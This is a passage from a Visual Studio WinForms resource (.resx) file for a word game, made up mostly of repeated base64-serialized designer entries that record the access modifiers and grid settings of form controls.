<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="BogBorder5.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="tmrBtn1.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="BogBorder12.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="BogBorder2.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="mnuVsMode.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="lblHumanRounds.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="mnuTmr130.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="mnuTmr200.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="lbl8.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="lbl9.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="BogBorder7.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="mnuLevelMedium.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="tmrBtn3.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="lbl11.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="tmrBtn2.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="Label5.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="mnuMain.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="Label3.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="pnlWords.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="lbl2.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="lbl13.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="Panel3.SnapToGrid" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAEAQAAAA5TeXN0ZW0uQm9vbGVhbgEAAAAHbV92YWx1ZQABAQs=</value>
</data>
<data name="MenuItem6.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="PictureBox1.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="CircleLabel2.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="txtWordFound.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="btnAddWord.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="CircleLabel1.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="BogBorder15.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="lblHumanWordsCount.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="btnContinue.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="mnuLevelImpossible.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="mnuEnableWordValidation.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="txtMain.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="$this.TrayHeight" mimetype="application/x-microsoft.net.object.binary.base64">
<value>LwAAAA==</value>
</data>
<data name="Panel1.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="lblCompScore.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="Label6.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="MenuItem1.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="tmrContMain.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="Panel2.SnapToGrid" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAEAQAAAA5TeXN0ZW0uQm9vbGVhbgEAAAAHbV92YWx1ZQABAQs=</value>
</data>
<data name="BogBorder1.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="lblCompWordsCount.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="mnuExitGame.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="mnuLevelHard.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="lblComputerRounds.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="BogBorder3.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="lbl15.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="lbl10.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="MenuItem8.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="Label1.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="pnlTimer.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="lbl1.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="btnFinish.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="mnuTmr500.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="lbl6.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="lbl12.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="Panel2.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="MenuItem4.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
